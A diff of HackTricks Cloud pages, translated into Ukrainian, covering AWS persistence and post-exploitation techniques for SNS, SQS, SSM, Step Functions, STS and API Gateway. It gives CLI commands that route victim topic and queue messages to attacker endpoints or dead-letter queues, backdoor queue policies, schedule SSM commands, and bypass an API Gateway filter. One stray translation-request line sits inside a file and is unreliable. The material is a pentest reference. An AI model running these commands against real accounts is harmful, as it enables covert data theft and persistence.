-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Створити підписників
-
-Щоб продовжити ексфільтрацію всіх повідомлень з усіх тем, зловмисник може **створити підписників для всіх тем**.
-
-Зверніть увагу, що якщо **тема є типу FIFO**, можуть використовуватися лише підписники, які використовують протокол **SQS**.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md

@@ -0,0 +1,113 @@
+# AWS - SNS Персистентність
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Персистентність
+
+Під час створення **SNS topic** потрібно в IAM policy вказати, **хто має доступ на читання та запис**. Можна вказати зовнішні акаунти, ARN ролей або **навіть "\*"**.\
+Наведена політика надає всім в AWS доступ для читання та запису у SNS topic з назвою **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Створення підписників
+
+Щоб продовжити exfiltrating всі повідомлення з усіх тем, зловмисник може **створити підписників для всіх тем**.
+
+Зауважте, що якщо **тема є типу FIFO**, то можна використовувати лише підписників, які працюють через протокол **SQS**.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Сховане, селективне exfiltration via FilterPolicy on MessageBody
+
+Зловмисник із правами `sns:Subscribe` та `sns:SetSubscriptionAttributes` на topic може створити приховану SQS підписку, яка переадресовує лише ті повідомлення, тіло JSON яких відповідає дуже вузькому фільтру (наприклад, `{"secret":"true"}`). Це знижує обсяг і ймовірність виявлення, при цьому все ще дозволяє exfiltrating конфіденційних записів.
+
+**Potential Impact**: Сховане, малошумне exfiltration тільки цільових SNS повідомлень з жертви topic.
+
+Кроки (AWS CLI):
+- Переконайтесь, що політика SQS черги атакуючого дозволяє `sqs:SendMessage` від жертви `TopicArn` (Condition `aws:SourceArn` дорівнює `TopicArn`).
+- Створіть SQS підписку на topic:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Налаштуйте фільтр так, щоб він працював на message body і відповідав лише `secret=true`:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Опційна прихованість: увімкніть raw delivery, щоб у отримувача потрапляв лише сирий payload:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Валідація: опублікуйте два повідомлення і підтвердіть, що лише перше доставлено в чергу атакуючого. Приклад payloads:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Очистка: відпишіться та видаліть чергу SQS атакуючого, якщо вона була створена для тестування persistence.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Використання політики ресурсів
-
-В SQS вам потрібно вказати за допомогою IAM політики **хто має доступ до читання та запису**. Можна вказати зовнішні облікові записи, ARN ролей або **навіть "\*"**.\
-Наступна політика надає всім у AWS доступ до всього в черзі під назвою **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Ви навіть могли б **запустити Lambda в обліковому записі атакуючого щоразу, коли нове повідомлення** додається в чергу (вам потрібно буде повторно додати його) якимось чином. Для цього дотримуйтесь цих інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - SQS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Для отримання додаткової інформації перегляньте:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Використання політики ресурсу
+
+У SQS потрібно вказати за допомогою IAM-політики **хто має доступ для читання й запису**. Можна вказувати зовнішні акаунти, ARN ролей, або **навіть "\*"**.\
+Наступна політика надає всім в AWS доступ до всього в черзі з назвою **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Ви навіть можете **trigger a Lambda in the attacker's account every time a new message** is put in the queue (you would need to re-put it). Для цього дотримуйтесь інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### Додаткові SQS Persistence Techniques
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md

@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Зловживайте SQS Dead-Letter Queues (DLQs), щоб таємно відбирати дані з вихідної черги жертви, вказавши її RedrivePolicy на чергу, контрольовану атакуючим. При низькому maxReceiveCount та шляхом ініціювання або очікування звичайних збоїв обробки, повідомлення автоматично перенаправляються до DLQ атакуючого без зміни producers або Lambda event source mappings.
+
+## Зловживані дозволи
+- sqs:SetQueueAttributes на вихідній черзі жертви (щоб встановити RedrivePolicy)
+- sqs:SetQueueAttributes на DLQ атакуючого (щоб встановити RedriveAllowPolicy)
+- Опціонально для прискорення: sqs:ReceiveMessage на вихідній черзі
+- Опціонально для налаштування: sqs:CreateQueue, sqs:SendMessage
+
+## Потік у тому ж акаунті (allowAll)
+
+Підготовка (обліковий запис атакуючого або скомпрометований principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Виконання (запустити від імені скомпрометованого принципала в обліковому записі жертви):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Прискорення (необов'язково):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+Надайте, будь ласка, вміст файлу src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md для перекладу.
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Приклад доказів (атрибути включають DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account Variant (byQueue)
+Встановіть RedriveAllowPolicy на attacker DLQ, щоб дозволяти лише конкретні victim source queue ARNs:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Вплив
+- Сховане, стійке data exfiltration/persistence шляхом автоматичного перенаправлення невдалих повідомлень із вихідної черги SQS жертви в attacker-controlled DLQ, з мінімальним операційним шумом і без змін у producers або Lambda mappings.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md

@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Зловживайте політикою ресурсу черги SQS, щоб непомітно надати Send, Receive та ChangeMessageVisibility будь-якому principal, який належить до цільової AWS Organization, використовуючи умову aws:PrincipalOrgID. Це створює прихований шлях в масштабі організації, який часто оминає контролі, що перевіряють лише явні account або role ARNs чи star principals.
+
+### Backdoor policy (додати до політики черги SQS)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Кроки
+- Отримайте Organization ID за допомогою AWS Organizations API.
+- Отримайте SQS queue ARN та налаштуйте queue policy, включивши в неї наведену вище statement.
+- Від будь-якого principal, що належить до цієї Organization, відправте та отримайте повідомлення в queue, щоб перевірити доступ.
+
+### Наслідки
+- Прихований доступ по всій Organization для читання та запису SQS messages з будь-якого account у вказаній AWS Organization.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md

@@ -1,27 +0,0 @@
-# AWS - SSM Perssitence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Використання ssm:CreateAssociation для збереження
-
-Зловмисник з дозволом **`ssm:CreateAssociation`** може створити асоціацію State Manager для автоматичного виконання команд на EC2-екземплярах, керованих SSM. Ці асоціації можна налаштувати на виконання через фіксовані інтервали, що робить їх придатними для збереження, схожого на бекдор, без інтерактивних сесій.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Цей метод збереження працює, поки EC2 екземпляр керується Systems Manager, агент SSM працює, і зловмисник має дозвіл на створення асоціацій. Це не вимагає інтерактивних сесій або явних дозволів ssm:SendCommand. **Важливо:** Параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) повинен відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю пропустіть `--schedule-expression` — асоціація буде виконана один раз після створення.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - SSM Персистенція
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Для додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Використання ssm:CreateAssociation для персистенції
+
+Атакувальник із дозволом **`ssm:CreateAssociation`** може створити State Manager Association для автоматичного виконання команд на EC2 інстансах, керованих SSM. Такі асоціації можна налаштувати на запуск через фіксований інтервал, що робить їх придатними для backdoor-like persistence без інтерактивних сесій.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Цей метод персистентності працює доти, поки EC2 інстанс керується Systems Manager, SSM agent запущено, і зловмисник має дозвіл створювати асоціації. Він не потребує інтерактивних сесій або явних дозволів ssm:SendCommand. **Важливо:** параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) має відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю опустіть `--schedule-expression` — асоціація виконається один раз після створення.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -1,21 +0,0 @@
-# AWS - Збереження функцій кроків
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Функції кроків
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Задня дверка функції кроків
-
-Задня дверка функції кроків, щоб вона виконувала будь-який трюк збереження, так що щоразу, коли вона виконується, вона запускатиме ваші шкідливі кроки.
-
-### Задні дверки псевдонімів
-
-Якщо обліковий запис AWS використовує псевдоніми для виклику функцій кроків, буде можливим змінити псевдонім, щоб використовувати нову версію функції кроків з задньою дверкою.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function, щоб вона виконувала будь-який persistence-трюк — щоразу при її виконанні запускатимуться ваші шкідливі кроки.
+
+### Backdooring aliases
+
+Якщо обліковий запис AWS використовує aliases для виклику step functions, можна змінити alias так, щоб він використовував нову backdoored версію step function.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md

@@ -1,36 +1,36 @@
-# AWS - STS Persistence
+# AWS - STS Персистентність
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Для отримання додаткової інформації зверніться до:
+Для отримання додаткової інформації див.:
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
-### Токен ролі
+### Assume role token
 
-Тимчасові токени не можуть бути перераховані, тому підтримка активного тимчасового токена є способом підтримки стійкості.
+Тимчасові токени не можна перелічити, тож підтримання активного тимчасового токена — спосіб забезпечити персистентність.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# З MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Ім'я апаратного пристрою зазвичай є номером ззаду пристрою, наприклад GAHT12345678
-<strong># Ім'я SMS пристрою - це ARN в AWS, наприклад arn:aws:iam::123456789012:sms-mfa/username
-</strong># Ім'я віртуального пристрою - це ARN в AWS, наприклад arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
-### Жонглювання ролями
+### Role Chain Juggling
 
-[**Жонглювання ролями є визнаною функцією AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), часто використовується для підтримки прихованої стійкості. Це передбачає можливість **приймати роль, яка потім приймає іншу**, потенційно повертаючись до початкової ролі в **циклічний спосіб**. Кожного разу, коли роль приймається, поле терміну дії облікових даних оновлюється. Отже, якщо дві ролі налаштовані на взаємне прийняття одна одної, ця конфігурація дозволяє безперервне оновлення облікових даних.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), часто використовується для підтримки прихованої персистентності. Це передбачає можливість **assume a role which then assumes another**, потенційно повертаючись до початкової ролі в **cyclical manner**. Кожного разу, коли роль виконується (is assumed), поле закінчення терміну дії облікових даних оновлюється. Відтак, якщо дві ролі налаштовані на взаємне assume одна одної, така конфігурація дозволяє постійне поновлення облікових даних.
 
-Ви можете використовувати цей [**інструмент**](https://github.com/hotnops/AWSRoleJuggler/) для підтримки жонглювання ролями:
+Ви можете використовувати цей [**tool**](https://github.com/hotnops/AWSRoleJuggler/) щоб підтримувати рольове ланцюжкове переключення:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,7 +40,7 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Зверніть увагу, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з цього репозиторію на Github не знаходить усі способи, якими може бути налаштований ланцюг ролей.
+> Зауважте, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з того репозиторію Github не знаходить усіх способів, якими може бути налаштовано ланцюг ролей.
 
 <details>
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

@@ -1,132 +0,0 @@
-# AWS - API Gateway Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Доступ до неекспонованих API
-
-Ви можете створити кінцеву точку в [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) з сервісом `com.amazonaws.us-east-1.execute-api`, експонувати кінцеву точку в мережі, до якої у вас є доступ (можливо, через машину EC2) і призначити групу безпеки, що дозволяє всі з'єднання.\
-Потім, з машини EC2 ви зможете отримати доступ до кінцевої точки і, отже, викликати API шлюзу, який раніше не був експонований.
-
-### Обхід пропуску тіла запиту
-
-Цю техніку було виявлено в [**цьому CTF звіті**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-
-Як зазначено в [**документації AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) в розділі `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передасть запит на бекенд без трансформації.
-
-Отже, в CTF API Gateway мав шаблон інтеграції, який **перешкоджав ексфільтрації прапора** у відповіді, коли запит надсилався з `Content-Type: application/json`:
-```yaml
-RequestTemplates:
-application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
-```
-Однак, надсилання запиту з **`Content-type: text/json`** запобігло б цьому фільтру.
-
-Нарешті, оскільки API Gateway дозволяв лише `Get` та `Options`, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST запит з запитом у тілі та використовуючи заголовок `X-HTTP-Method-Override: GET`:
-```bash
-curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
-```
-### Usage Plans DoS
-
-У розділі **Enumeration** ви можете побачити, як **отримати план використання** ключів. Якщо у вас є ключ і він **обмежений** до X використань **на місяць**, ви можете **просто використовувати його і викликати DoS**.
-
-**API Key** просто потрібно **включити** в **HTTP заголовок** під назвою **`x-api-key`**.
-
-### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-
-Зловмисник з правами `apigateway:UpdateGatewayResponse` та `apigateway:CreateDeployment` може **модифікувати існуючу відповідь шлюзу, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти**.
-```bash
-API_ID="your-api-id"
-RESPONSE_TYPE="DEFAULT_4XX"
-
-# Update the Gateway Response
-aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Потенційний вплив**: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
-
-> [!NOTE]
-> Потрібно тестування
-
-### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-
-Зловмисник з правами `apigateway:UpdateStage` та `apigateway:CreateDeployment` може **модифікувати існуючий етап API Gateway, щоб перенаправити трафік на інший етап або змінити налаштування кешування для отримання несанкціонованого доступу до кешованих даних**.
-```bash
-API_ID="your-api-id"
-STAGE_NAME="Prod"
-
-# Update the API Gateway stage
-aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Потенційний вплив**: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку.
-
-> [!NOTE]
-> Потрібне тестування
-
-### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-
-Зловмисник з правами `apigateway:PutMethodResponse` та `apigateway:CreateDeployment` може **модифікувати відповідь методу існуючого методу API Gateway REST API, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти**.
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-STATUS_CODE="200"
-
-# Update the method response
-aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Потенційний вплив**: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
-
-> [!NOTE]
-> Потрібно тестування
-
-### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-
-Зловмисник з правами `apigateway:UpdateRestApi` та `apigateway:CreateDeployment` може **змінити налаштування REST API API Gateway, щоб вимкнути ведення журналу або змінити мінімальну версію TLS, що потенційно послаблює безпеку API**.
-```bash
-API_ID="your-api-id"
-
-# Update the REST API settings
-aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Потенційний вплив**: Послаблення безпеки API, що може дозволити несанкціонований доступ або розкриття чутливої інформації.
-
-> [!NOTE]
-> Потрібно тестування
-
-### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-
-Зловмисник з правами `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` та `apigateway:CreateUsagePlanKey` може **створювати нові API ключі, асоціювати їх з планами використання, а потім використовувати ці ключі для несанкціонованого доступу до API**.
-```bash
-# Create a new API key
-API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
-
-# Create a new usage plan
-USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
-
-# Associate the API key with the usage plan
-aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
-```
-**Потенційний вплив**: Несанкціонований доступ до ресурсів API, обхід засобів безпеки.
-
-> [!NOTE]
-> Потрібне тестування
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md

@@ -0,0 +1,132 @@
+# AWS - API Gateway Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Access unexposed APIs
+
+Ви можете створити endpoint на [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) з сервісом `com.amazonaws.us-east-1.execute-api`, оприлюднити endpoint у мережі, до якої маєте доступ (наприклад через EC2), і призначити security group, що дозволяє всі з'єднання.\
+Потім з EC2 машини ви зможете звертатися до endpoint і, відповідно, викликати gateway API, який раніше не був доступний.
+
+### Bypass Request body passthrough
+
+Цю техніку знайдено в [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+
+Як вказано в [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) у секції `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передає запит на back end без трансформації.
+
+Тому, у CTF API Gateway мав integration template, який **перешкоджував ексфільтрації flag** в відповіді, коли запит надсилався з `Content-Type: application/json`:
+```yaml
+RequestTemplates:
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+```
+Однак відправлення запиту з **`Content-type: text/json`** дозволяло обійти цей фільтр.
+
+Нарешті, оскільки API Gateway дозволяв тільки `Get` та `Options`, було можливо відправити довільний запит до dynamoDB без жодних обмежень, надіславши POST-запит із запитом у тілі та використавши заголовок `X-HTTP-Method-Override: GET`:
+```bash
